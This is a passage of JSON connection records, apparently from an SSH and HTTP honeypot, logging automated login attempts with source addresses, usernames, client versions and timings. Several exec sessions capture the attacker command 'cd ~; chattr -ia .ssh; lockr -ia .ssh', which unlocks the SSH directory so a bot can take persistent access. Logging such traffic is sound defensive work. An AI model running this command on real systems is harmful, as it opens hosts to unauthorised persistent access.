  "started_at": "2026-08-26T21:25:07.667501+00:00",
  "ended_at": "2026-08-26T21:25:09.073224+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2128
 },
 {
  "id": "a34f99c6-ef8a-4738-a80f-1445f80aeae4",
  "name": "blithe-cheerful-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 35252,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:24:57.541715+00:00",
  "ended_at": "2026-08-26T21:24:58.075890+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "10e4f43c-540b-481e-82c1-34aae0133613",
  "name": "humble-hazel-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 35242,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:24:56.584037+00:00",
  "ended_at": "2026-08-26T21:24:57.408958+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dbe14320-b328-4906-b218-12cf23fd2830",
  "name": "sunlit-clever-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 55536,
  "username": "dbadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 66,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:23:14.941747+00:00",
  "ended_at": "2026-08-26T21:23:15.883585+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2065
 },
 {
  "id": "1a192ee1-abf6-41c7-a505-2612e0fb1554",
  "name": "frugal-jagged-martin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 55556,
  "username": "dbadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:23:06.912477+00:00",
  "ended_at": "2026-08-26T21:23:08.749734+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "44bb4f4d-6c5b-49bb-898f-0d0ce8c6877a",
  "name": "dutiful-fearless-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 55540,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:23:05.832278+00:00",
  "ended_at": "2026-08-26T21:23:06.777815+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d52c553-63f2-4812-bec4-2a59e48b7714",
  "name": "leafy-boreal-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 45218,
  "username": "tim",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 68,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:21:11.571637+00:00",
  "ended_at": "2026-08-26T21:21:12.115800+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2048
 },
 {
  "id": "6cf32ad0-9000-4f10-86cb-ac4defe9fb7f",
  "name": "ruddy-freckled-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 45228,
  "username": "tim",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:21:07.468394+00:00",
  "ended_at": "2026-08-26T21:21:08.864663+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d4b3e79-ff4c-4107-927f-8d161ea1a89c",
  "name": "proud-pristine-porcupine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 45220,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:21:06.565097+00:00",
  "ended_at": "2026-08-26T21:21:07.336303+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "af0a8ffe-d675-44c5-9917-241aab1573f3",
  "name": "thawing-solar-kea",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "178.228.51.140",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:19:17.528941+00:00",
  "ended_at": "2026-08-26T21:35:02.656675+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8a39205c-22a2-4fa3-b48f-0ba1dd2bbacc",
  "name": "golden-eager-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 40070,
  "username": "don",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 73,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:19:13.356498+00:00",
  "ended_at": "2026-08-26T21:19:13.890166+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2045
 },
 {
  "id": "7bc5b5d9-9ed6-4e61-afe1-2405b92838ae",
  "name": "stormy-slender-owl",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 40082,
  "username": "don",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:19:09.318757+00:00",
  "ended_at": "2026-08-26T21:19:10.552346+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "efc1fe1a-ecba-4701-9572-b9dadb957223",
  "name": "humble-solemn-wallaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 40078,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:19:08.204037+00:00",
  "ended_at": "2026-08-26T21:19:09.182372+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7dd8ea35-2548-4c85-ab78-0eff4cfc3e4d",
  "name": "orderly-lunar-falcon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 63043,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:18:29.674094+00:00",
  "ended_at": "2026-08-26T21:18:40.219736+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0e098491-670a-4a6d-a8e3-7f6c24557e4b",
  "name": "spirited-burly-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 63420,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:17:59.705061+00:00",
  "ended_at": "2026-08-26T21:18:01.092334+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b88c03f2-6d2f-4b7b-91eb-e35d680454ef",
  "name": "northern-sterling-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 55850,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:14:44.730793+00:00",
  "ended_at": "2026-08-26T21:14:45.343936+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6d79f1e-ee36-4f8f-8081-f9648dd2384d",
  "name": "smooth-pleasant-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 58084,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:14:26.214269+00:00",
  "ended_at": "2026-08-26T21:14:27.173902+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2919427-964f-44e4-b506-213df496adfc",
  "name": "polar-vaulted-caracal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.163.40.5",
  "src_port": 61438,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:13:15.543339+00:00",
  "ended_at": "2026-08-26T21:13:16.439014+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9f87630c-0ba1-43c0-9eda-1d7ee959d794",
  "name": "daring-obsidian-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 57908,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:11:35.515447+00:00",
  "ended_at": "2026-08-26T21:11:36.018838+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "718b932c-f2f9-437a-88f8-07582325ae1c",
  "name": "brazen-languid-guanaco",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 49590,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:07:52.691063+00:00",
  "ended_at": "2026-08-26T21:07:55.325043+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d976e0ab-2ba4-4429-b7ed-32e952b473d6",
  "name": "dappled-lucid-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.110",
  "src_port": 11414,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:59:52.019937+00:00",
  "ended_at": "2026-08-26T20:59:52.321966+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "26d17174-8fb3-4594-9e30-9e5a7b723877",
  "name": "solemn-serene-woodcock",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 58155,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:57:16.452122+00:00",
  "ended_at": "2026-08-26T20:57:29.568695+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e684fe5b-da0b-49da-a4d0-d01ddc569b39",
  "name": "vernal-solar-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 53965,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:52:55.291017+00:00",
  "ended_at": "2026-08-26T20:53:04.266565+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "82475e8d-5dc7-4152-ba32-bfe90e9229b4",
  "name": "nimble-regal-ptarmigan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.124",
  "src_port": 61296,
  "username": "tomcat",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:50:27.951843+00:00",
  "ended_at": "2026-08-26T20:50:28.337842+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "39f76af6-fc86-45b4-a0bb-dc2743f3f2ba",
  "name": "eager-fierce-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 55818,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:45:56.092232+00:00",
  "ended_at": "2026-08-26T20:45:57.749404+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8e230658-c416-4009-adfc-9ec4bf587952",
  "name": "fierce-feathered-thrush",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "172.225.229.142",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:45:38.778002+00:00",
  "ended_at": "2026-08-26T21:01:02.240956+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aba7b1cd-fb08-40a2-bdd0-06c0dd1526e7",
  "name": "sandy-painted-bluebird",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "172.225.207.101",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:45:33.474233+00:00",
  "ended_at": "2026-08-26T21:01:02.239337+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "149a7955-09ce-468f-9eef-ec7c8962e833",
  "name": "rugged-airy-opossum",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "172.225.229.132",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:44:59.233922+00:00",
  "ended_at": "2026-08-26T21:00:02.238821+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5052dc8a-c3e0-4608-b4d4-4af3a4b90647",
  "name": "glacial-rustic-cassowary",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "108.41.84.145",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:154.0) Gecko/20100101 Firefox/154.0",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:44:57.330797+00:00",
  "ended_at": "2026-08-26T21:01:02.237426+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4cbb3b73-671b-43d0-bed4-97f4a2f77c4e",
  "name": "tawny-stormy-eider",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "35.196.132.85",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (compatible; Discordbot/2.0; +https://discordapp.com)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:44:55.117517+00:00",
  "ended_at": "2026-08-26T21:00:02.235885+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d4ddd2b-e9f4-4227-a13e-c542b27efa05",
  "name": "sullen-nameless-vole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.124",
  "src_port": 29196,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:36:12.229530+00:00",
  "ended_at": "2026-08-26T20:36:12.647434+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b22447b3-0916-422f-85e9-c8aaccb3d68a",
  "name": "sullen-quartz-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.110",
  "src_port": 33634,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:35:12.125948+00:00",
  "ended_at": "2026-08-26T20:35:12.519135+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7b4db062-444a-44ee-817e-47799a65acf8",
  "name": "quiet-gilded-bobcat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 56546,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:33:25.487600+00:00",
  "ended_at": "2026-08-26T20:33:39.260601+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6952e08e-2295-4010-a118-c1339d020495",
  "name": "hollow-burly-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.29",
  "src_port": 44700,
  "username": "workspace",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:15:51.286259+00:00",
  "ended_at": "2026-08-26T20:15:51.797504+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "748907b5-60bc-40c2-baab-4bbb801f643f",
  "name": "drifting-brazen-martin",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "49.51.253.26",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:11:37.141623+00:00",
  "ended_at": "2026-08-26T20:27:01.918466+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4b3f963a-9d27-47a8-b904-edfae4e9d17e",
  "name": "bronzed-bashful-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 33286,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:10:35.074659+00:00",
  "ended_at": "2026-08-26T20:10:48.735764+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2924357-1544-4715-9e69-0795b241671b",
  "name": "dewy-frank-gecko",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "2.28.51.65",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Edg/106.0.1370.42",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:09:35.351768+00:00",
  "ended_at": "2026-08-26T20:25:01.909515+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ee7d9d2e-c15b-4dbe-aaf4-8b07070008fe",
  "name": "crimson-pewter-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 59807,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:09:11.957794+00:00",
  "ended_at": "2026-08-26T20:09:42.017740+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "76bb69b8-1bff-482f-8fe2-3027b35975eb",
  "name": "pristine-calm-redstart",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 57774,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:08:03.540835+00:00",
  "ended_at": "2026-08-26T20:08:04.762747+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "011830c0-8f5b-4201-bc6c-43397bb4d55a",
  "name": "restless-stoic-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 55052,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:04:19.740806+00:00",
  "ended_at": "2026-08-26T20:04:37.252622+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e48b2be6-7b32-4d90-80c8-1eaf130989b7",
  "name": "scarlet-glassy-marmot",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "103.124.165.217",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:02:47.649048+00:00",
  "ended_at": "2026-08-26T20:19:01.879870+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9c58c966-67d7-43d2-b995-834181157469",
  "name": "leafy-civil-bullfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.172",
  "src_port": 49694,
  "username": "jitendra",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T19:59:28.528315+00:00",
  "ended_at": "2026-08-26T19:59:30.385019+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f5dfad49-b17a-4ef4-8d8d-cef42019845f",
  "name": "dapper-stoic-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 36374,
  "username": "jesica",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T19:56:25.929539+00:00",
  "ended_at": "2026-08-26T19:56:26.818624+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8275eb0d-77ce-4f02-be5b-d6fd9db8e564",
  "name": "mindful-cheerful-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 59520,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T19:56:10.647131+00:00",
  "ended_at": "2026-08-26T19:56:14.363714+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "84522ea8-17ef-4d8b-9890-ab6d34c9ce25",
  "name": "jaunty-frank-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.27",
  "src_port": 27756,
  "username": "iman",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T19:47:20.927116+00:00",
  "ended_at": "2026-08-26T19:47:21.355791+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b2da79be-7a51-418c-93a4-86c48422c6f5",
  "name": "crystal-smooth-quokka",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 50940,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T19:42:48.897295+00:00",
  "ended_at": "2026-08-26T19:42:50.882227+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "153625f8-e872-42a4-b711-3b311d3133e8",
  "name": "marine-upland-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 53415,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T19:38:28.873438+00:00",
  "ended_at": "2026-08-26T19:38:32.983007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e7c6a91c-ed4f-4b79-89d8-1386467bd15a",
  "name": "mottled-civil-gharial",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 57853,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T19:34:50.885803+00:00",
  "ended_at": "2026-08-26T19:35:17.881541+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c448e06-35bf-4bd2-908a-a20a228adb2f",
  "name": "knotted-pristine-wagtail",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "216.73.216.122",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T19:31:09.737383+00:00",
  "ended_at": "2026-08-26T19:47:01.536065+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d3d8d487-0902-4a20-baeb-97332c383b53",
  "name": "shifting-ashen-gull",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 57535,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
